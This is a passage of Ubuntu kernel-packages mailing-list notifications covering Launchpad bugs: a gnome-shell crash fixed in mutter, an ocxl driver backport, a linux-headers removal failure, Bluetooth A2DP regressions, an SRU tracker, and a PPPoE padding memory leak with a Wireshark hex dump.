[1] https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1632045 [2] https://bugzilla.redhat.com/show_bug.cgi?id=1304300 Before we go any further, let's get the basic info here. Apparently there was a sosreport somewhere else, and a link would be good, but, here's what we need he
[Kernel-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()
This bug was fixed in the package mutter - 3.28.3-2 --- mutter (3.28.3-2) unstable; urgency=medium * Team upload [ Iain Lane ] * debian/gbp.conf: Set the upstream branch to upstream/3.28.x, since we've branched for experimental now. [ Marco Trevisan (Treviño) ] * d/p/native-gpu-Handle-drmModeSetCrtc-failing-gracefully.patch: - Avoid crashing when warning about wrongly set crtc mode (LP: #1754949) * d/p/gpu-kms-Don-t-crash-if-drmModeGetResources-returns-N.patch: - Don't crash if drmModeGetResources returns NULL (LP: #1767956) * d/p/window-wayland-Always-update-monitor-for-non-user-ops.patch: - Always update monitor in wayland, avoiding crash (LP: #1784398) * d/p/monitor-manager-Filter-out-low-screen-resolutions.patch: - Don't return screen resolutions that can't be applied (LP: #1772831) * d/p/window-Don-t-refuse-to-move-focus-to-the-grab-window.patch, d/p/window-Explicitly-exclude-unmanaging-window-from-focus-ag.patch: - Don't crash if a modal dialog closes while being dragged (LP: #1422253) * d/p/monitor-Use-current-monitor-mode-to-check-whether-active.patch: - Don't try to use an invalid monitor mode to figure out scaling (LP: #1723615) [ Simon McVittie ] * Sort patch series in upstream order, with patches applied upstream first * d/copyright: Remove obsolete FSF postal addresses * Standards-Version: 4.1.5 (no changes required) * Set Rules-Requires-Root to no * Update symbols file -- Simon McVittie Tue, 31 Jul 2018 15:35:03 +0100 ** Changed in: mutter (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1754949 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() Status in gnome-shell package in Ubuntu: Fix Committed Status in linux package in Ubuntu: In Progress Status in mutter package in Ubuntu: Fix Released Bug description: https://gitlab.gnome.org/GNOME/mutter/issues/70 https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665 https://salsa.debian.org/gnome-team/mutter/merge_requests/6 --- The crash was reported after booting and logging in to an X.Org session. $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 $ apt-cache policy gnome-shell gnome-shell: Instalovaná verze: 3.27.92-0ubuntu1 Kandidát: 3.27.92-0ubuntu1 Tabulka verzí: *** 3.27.92-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun Mar 11 11:08:00 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-12-19 (81 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=cs_CZ PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f3fee5d2f17 : mov0x20(%rax),%rcx PC (0x7f3fee5d2f17) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1781436] Re: Update2 for ocxl driver
** Tags removed: targetmilestone-inin--- ** Tags added: targetmilestone-inin1804 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781436 Title: Update2 for ocxl driver Status in The Ubuntu-power-systems project: In Progress Status in linux package in Ubuntu: In Progress Status in linux source package in Bionic: Fix Committed Bug description: == SRU Justification == This commit fixes a regression introduced by mainline commit 5ef3166e8a32. This commit is being requested by IBM as an update to the ocxl driver. This fix was also cc'd to upstream stable, but it is still in linux-next. == Fix == linux-next commit: d497ebf5fb3a "(ocxl: Fix page fault handler in case of fault on dying process)" == Regression Potential == Low. Limited to the ocxl driver. This commit fixes a current regression. It was also cc'd to upstream stable, it has had additional upstream review. == Test Case == A test kernel was built with this patch and tested by the original bug reporter. The bug reporter states the test kernel resolved the bug. == Comment: #0 - Frederic Barrat - 2018-07-12 09:56:29 == ---Problem Description--- Update to ocxl driver Contact Information = frederic.bar...@fr.ibm.com ---uname output--- Linux zaiuslp14 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13 08:43:33 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux ---Additional Hardware Info--- opencapi adapter Machine Type = any Power9 with opencapi support ---Debugger--- A debugger is not configured Stack trace output: no Oops output: no System Dump Info: The system is not configured to capture a system dump. *Additional Instructions for frederic.bar...@fr.ibm.com: -Attach sysctl -a output output to the bug. == Comment: #1 - Frederic Barrat - 2018-07-12 11:11:39 == Could we have the following fix backported to ubuntu 18.04? It's to address a problem in the relatively new ocxl driver It's currently in the 'next' tree of the powerpc maintainer: d497ebf5fb3a026c0817f8c96cde578787f24093 ocxl: Fix page fault handler in case of fault on dying process https://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux.git/commit/?id=d497ebf5fb3a026c0817f8c96cde57 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1781436/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784091] Re: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfi
Thanks Joseph! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784091 Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux- headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h .dpkg-tmp': Permission denied Status in linux package in Ubuntu: Confirmed Bug description: A few days after a kernel update, my computer froze. I had to revert to a previous kernel. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 ProcVersionSignature: Ubuntu 4.15.0-24.26~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: ums_realtek i915 r8169 wmi ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: linux-headers-4.13.0-43: Remove linux-image-4.15.0-29-generic: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Jul 27 06:36:06 2018 DpkgTerminalLog: Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied DuplicateSignature: package:linux-headers-4.13.0-43:4.13.0-43.48~16.04.1 Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied ErrorMessage: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied InstallationDate: Installed on 2017-06-16 (406 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: linux-hwe Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784091/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784091] Re: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfi
Yep! Confirmed. That works. kernel-fixed-upstream ** Tags added: kernel-fixed-upstream ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784091 Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux- headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h .dpkg-tmp': Permission denied Status in linux package in Ubuntu: Confirmed Bug description: A few days after a kernel update, my computer froze. I had to revert to a previous kernel. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 ProcVersionSignature: Ubuntu 4.15.0-24.26~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: ums_realtek i915 r8169 wmi ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: linux-headers-4.13.0-43: Remove linux-image-4.15.0-29-generic: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Jul 27 06:36:06 2018 DpkgTerminalLog: Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied DuplicateSignature: package:linux-headers-4.13.0-43:4.13.0-43.48~16.04.1 Removing linux-headers-4.13.0-43 (4.13.0-43.48~16.04.1) ... dpkg: error processing package linux-headers-4.13.0-43 (--remove): unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied ErrorMessage: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied InstallationDate: Installed on 2017-06-16 (406 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: linux-hwe Title: package linux-headers-4.13.0-43 4.13.0-43.48~16.04.1 failed to install/upgrade: unable to securely remove '/usr/src/linux-headers-4.13.0-43/include/uapi/linux/netfilter_ipv4/ipt_CLUSTERIP.h.dpkg-tmp': Permission denied UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784091/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1438510] Re: [regression] Bluetooth audio no longer supports A2DP (stuck in HSP/HFP mode)
** Changed in: pulseaudio Status: Confirmed => Unknown -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1438510 Title: [regression] Bluetooth audio no longer supports A2DP (stuck in HSP/HFP mode) Status in PulseAudio: Unknown Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Fix Released Status in bluez source package in Vivid: Won't Fix Status in pulseaudio source package in Vivid: Won't Fix Status in pulseaudio source package in Xenial: Fix Released Bug description: [Impact] Bluetooth audio seemingly refuses to support A2DP (stuck in HSP/HFP mode). A2DP is the high quality profile used for Bluetooth speakers and music in general. [Test Case] 1. Pair a Bluetooth audio device with Ubuntu. 2. Go to Sound settings and check the device's current "Mode". 3. If the current Mode is not yet A2DP then try to set it to A2DP Expected: The mode is either A2DP by default or can be set to it. [Regression Potential] Low. The SRU focuses on Bluetooth logic in pulseaudio, so that is the main area affected. A combination of related A2DP bugs in pulseaudio in xenial means it is difficult to get working at all without this patch. So highly unlikely Bluetooth audio support could get worse. Since pulseaudio itself is being modified there is always a regression potential in support for other audio devices, but several audio devices have been tested and all continue to work well with the patch. [Other notes] Related to bug 1283003 and bug 1582213. Possibly others too. The debdiff which fixes this is attached to bug 1582213. Please note that Bluetooth and Bluetooth audio support in xenial is still not perfect. This SRU only aims to address a few of the most troublesome issues. Please consider the fact that this is an incremental improvement and some people are still likely to experience some bugs related to pulseaudio and Bluetooth, even after this SRU. The patch was authored by Luke Yelavich with help from Konrad Zapałowicz. And it has received further testing over the past two months by Konrad, Jim Hodapp and Daniel van Vugt. The debdiff proposed here only changes the changelog wording from Luke's original PPA. [Original Description] Just installed 15.04 fresh from the latest ISO (beta2). I'm bummed to see my bluetooth headset (Bose Soundlink overear) seems to have regressed in functionality. In 14.10, I was able to set the output profile either to a2dp or hsp/hfp (telephony duplex). In 15.04, it only works in telephony duplex mode. I can't get high fidelity sound playback to work at all. This thread seems to be related, though the workaround within did not solve the problem for me: https://bbs.archlinux.org/viewtopic.php?id=194006 The bug is still present in 16.04 LTS and 16.10. To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1438510/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1438510]
-- GitLab Migration Automatic Message -- This bug has been migrated to freedesktop.org's GitLab instance and has been closed from further activity. You can subscribe and participate further through the new bug through this link to our GitLab instance: https://gitlab.freedesktop.org/pulseaudio/pulseaudio/issues/525. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1438510 Title: [regression] Bluetooth audio no longer supports A2DP (stuck in HSP/HFP mode) Status in PulseAudio: Unknown Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Fix Released Status in bluez source package in Vivid: Won't Fix Status in pulseaudio source package in Vivid: Won't Fix Status in pulseaudio source package in Xenial: Fix Released Bug description: [Impact] Bluetooth audio seemingly refuses to support A2DP (stuck in HSP/HFP mode). A2DP is the high quality profile used for Bluetooth speakers and music in general. [Test Case] 1. Pair a Bluetooth audio device with Ubuntu. 2. Go to Sound settings and check the device's current "Mode". 3. If the current Mode is not yet A2DP then try to set it to A2DP Expected: The mode is either A2DP by default or can be set to it. [Regression Potential] Low. The SRU focuses on Bluetooth logic in pulseaudio, so that is the main area affected. A combination of related A2DP bugs in pulseaudio in xenial means it is difficult to get working at all without this patch. So highly unlikely Bluetooth audio support could get worse. Since pulseaudio itself is being modified there is always a regression potential in support for other audio devices, but several audio devices have been tested and all continue to work well with the patch. [Other notes] Related to bug 1283003 and bug 1582213. Possibly others too. The debdiff which fixes this is attached to bug 1582213. Please note that Bluetooth and Bluetooth audio support in xenial is still not perfect. This SRU only aims to address a few of the most troublesome issues. Please consider the fact that this is an incremental improvement and some people are still likely to experience some bugs related to pulseaudio and Bluetooth, even after this SRU. The patch was authored by Luke Yelavich with help from Konrad Zapałowicz. And it has received further testing over the past two months by Konrad, Jim Hodapp and Daniel van Vugt. The debdiff proposed here only changes the changelog wording from Luke's original PPA. [Original Description] Just installed 15.04 fresh from the latest ISO (beta2). I'm bummed to see my bluetooth headset (Bose Soundlink overear) seems to have regressed in functionality. In 14.10, I was able to set the output profile either to a2dp or hsp/hfp (telephony duplex). In 15.04, it only works in telephony duplex mode. I can't get high fidelity sound playback to work at all. This thread seems to be related, though the workaround within did not solve the problem for me: https://bbs.archlinux.org/viewtopic.php?id=194006 The bug is still present in 16.04 LTS and 16.10. To manage notifications about this bug go to: https://bugs.launchpad.net/pulseaudio/+bug/1438510/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784299] Re: linux: 3.13.0-154.204 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Confirmed ** Tags added: block-proposed-trusty ** Tags added: block-proposed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC kernel-stable-phase:Uploaded -- swm properties -- + boot-testing-requested: true phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784299 Title: linux: 3.13.0-154.204 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Confirmed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC kernel-stable-phase:Uploaded -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784299/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784684] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:
apport-collect 1784684
and then change the status of the bug to 'Confirmed'.
If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.
This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.
** Changed in: linux (Ubuntu)
Status: New => Incomplete
** Tags added: xenial
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1784684
Title:
Waste padding after PPPoE payload
Status in linux package in Ubuntu:
Incomplete
Bug description:
After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS
clients, unneeded (waste) 14 bytes paddings are unexpectedly present
after PPPoE payload in client's Ethernet frames which are sent towards
a NAS access router. The content of the waste padding is not all zero
filled bytes, but rather parts of memory, sometimes with readable
text. Sometimes the waste padding is more than 14 bytes. For example,
a PPPoED PADI Frame with "amf/application/12" (18 bytes) shown as
padding in Wireshark:
ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê.
0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c..
0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat
0030 69 6f 6e 2f 31 32 ion/12
It is a critical bug of Kernel 4.4.0-131 and some previous releases
(since July 2018).
The affected client Ethernet frames are large enough (>64 bytes), and
thus they do not need to be padded. Padding should be included and is
required in Ethernet frames only to achieve the minimum 64 byte size
of an Ethernet frame sent on wire. For a packet larger than e.g. 100
bytes no padding is needed in Ethernet frame. However we see such 14
Byte paddings also in large client Ethernet Frames (in PPPoE/PPP/IP
session packets), with payload size of several hundred bytes (200,
300, 400 bytes and more).
Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt
upgrade early enough, after a new Ubuntu update is released in
Internet.
Our statistics after analyzing the collected archived pcap traces
(Clients with Ubuntu 16.04 LTS and the latest Kernel updates
installed) can help to identify the date when the kernel bug first
appeared:
From 15.Jul.2018 till 29.Jul.2018 - OK, still no waste padding
10.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
12.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
13.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
19.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
A kernel version affected with this BUG:
@client:~$ uname -a
Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
@client:~$ lsb_release -rd
Description:Ubuntu 16.04.5 LTS
Release:16.04
The kernel bug does not occur on Ubuntu 16.04 LTS Client and waste
paddings (14 byte or 18 byte) are not present in Client frames, if an
old Kernel e.g. 4.4.0-116 (of 12-Feb-2018) is installed on the client
and activated at boot time.
This old kernel 4.4.0-116 is still without the padding bug:
@client:~$ uname -a
Linux client 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
A PADI packet with unneeded padding is included as attachment. It was
captured via tcpdump directly on the Ubuntu Client. It is a padding
inserted by Ubuntu, not by ethernet HW or driver. If it were padding
included by Ethernet adapter or driver, we could not capture it on the
same host and we could not see such real padding for this client
packet in Wireshark.
The issue affects both PPPoED client packets (PADI, PADR) and session
PPPoE/PPP/IP client packets. We expect no padding is included after
PPPoE payload in Ethernet Frames if the packets are not small (>64
byte) and thus are not required to be padded for Ethernet. Such
correct behavior (without waste paddings) can be observed on Ubuntu
16.04 LTS with old Kernel versions released before June 2018, like
e.g. 4.4.0-116.
Please implement the fix in the next Kernel update.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784684/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784684] Re: Waste padding after PPPoE payload
** Package changed: ubuntu => linux (Ubuntu)
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1784684
Title:
Waste padding after PPPoE payload
Status in linux package in Ubuntu:
Incomplete
Bug description:
After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS
clients, unneeded (waste) 14 bytes paddings are unexpectedly present
after PPPoE payload in client's Ethernet frames which are sent towards
a NAS access router. The content of the waste padding is not all zero
filled bytes, but rather parts of memory, sometimes with readable
text. Sometimes the waste padding is more than 14 bytes. For example,
a PPPoED PADI Frame with "amf/application/12" (18 bytes) shown as
padding in Wireshark:
ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê.
0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c..
0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat
0030 69 6f 6e 2f 31 32 ion/12
It is a critical bug of Kernel 4.4.0-131 and some previous releases
(since July 2018).
The affected client Ethernet frames are large enough (>64 bytes), and
thus they do not need to be padded. Padding should be included and is
required in Ethernet frames only to achieve the minimum 64 byte size
of an Ethernet frame sent on wire. For a packet larger than e.g. 100
bytes no padding is needed in Ethernet frame. However we see such 14
Byte paddings also in large client Ethernet Frames (in PPPoE/PPP/IP
session packets), with payload size of several hundred bytes (200,
300, 400 bytes and more).
Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt
upgrade early enough, after a new Ubuntu update is released in
Internet.
Our statistics after analyzing the collected archived pcap traces
(Clients with Ubuntu 16.04 LTS and the latest Kernel updates
installed) can help to identify the date when the kernel bug first
appeared:
From 15.Jul.2018 till 29.Jul.2018 - OK, still no waste padding
10.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
12.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
13.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
19.07.2018 - 14 byte padding (PADI etc) - a kernel BUG !
A kernel version affected with this BUG:
@client:~$ uname -a
Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
@client:~$ lsb_release -rd
Description:Ubuntu 16.04.5 LTS
Release:16.04
The kernel bug does not occur on Ubuntu 16.04 LTS Client and waste
paddings (14 byte or 18 byte) are not present in Client frames, if an
old Kernel e.g. 4.4.0-116 (of 12-Feb-2018) is installed on the client
and activated at boot time.
This old kernel 4.4.0-116 is still without the padding bug:
@client:~$ uname -a
Linux client 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
A PADI packet with unneeded padding is included as attachment. It was
captured via tcpdump directly on the Ubuntu Client. It is a padding
inserted by Ubuntu, not by ethernet HW or driver. If it were padding
included by Ethernet adapter or driver, we could not capture it on the
same host and we could not see such real padding for this client
packet in Wireshark.
The issue affects both PPPoED client packets (PADI, PADR) and session
PPPoE/PPP/IP client packets. We expect no padding is included after
PPPoE payload in Ethernet Frames if the packets are not small (>64
byte) and thus are not required to be padded for Ethernet. Such
correct behavior (without waste paddings) can be observed on Ubuntu
16.04 LTS with old Kernel versions released before June 2018, like
e.g. 4.4.0-116.
Please implement the fix in the next Kernel update.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784684/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784684] [NEW] Waste padding after PPPoE payload
You have been subscribed to a public bug: After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS clients, unneeded (waste) 14 bytes paddings are unexpectedly present after PPPoE payload in client's Ethernet frames which are sent towards a NAS access router. The content of the waste padding is not all zero filled bytes, but rather parts of memory, sometimes with readable text. Sometimes the waste padding is more than 14 bytes. For example, a PPPoED PADI Frame with "amf/application/12" (18 bytes) shown as padding in Wireshark: ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê. 0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c.. 0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat 0030 69 6f 6e 2f 31 32 ion/12 It is a critical bug of Kernel 4.4.0-131 and some previous releases (since July 2018). The affected client Ethernet frames are large enough (>64 bytes), and thus they do not need to be padded. Padding should be included and is required in Ethernet frames only to achieve the minimum 64 byte size of an Ethernet frame sent on wire. For a packet larger than e.g. 100 bytes no padding is needed in Ethernet frame. However we see such 14 Byte paddings also in large client Ethernet Frames (in PPPoE/PPP/IP session packets), with payload size of several hundred bytes (200, 300, 400 bytes and more). Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt upgrade early enough, after a new Ubuntu update is released in Internet. Our statistics after analyzing the collected archived pcap traces (Clients with Ubuntu 16.04 LTS and the latest Kernel updates installed) can help to identify the date when the kernel bug first appeared: >From 15.Jul.2018 till 29.Jul.2018 - OK, still no waste padding 10.07.2018 - 14 byte padding (PADI etc) - a kernel BUG ! 12.07.2018 - 14 byte padding (PADI etc) - a kernel BUG ! 13.07.2018 - 14 byte padding (PADI etc) - a kernel BUG ! 19.07.2018 - 14 byte padding (PADI etc) - a kernel BUG ! A kernel version affected with this BUG: @client:~$ uname -a Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux @client:~$ lsb_release -rd Description:Ubuntu 16.04.5 LTS Release:16.04 The kernel bug does not occur on Ubuntu 16.04 LTS Client and waste paddings (14 byte or 18 byte) are not present in Client frames, if an old Kernel e.g. 4.4.0-116 (of 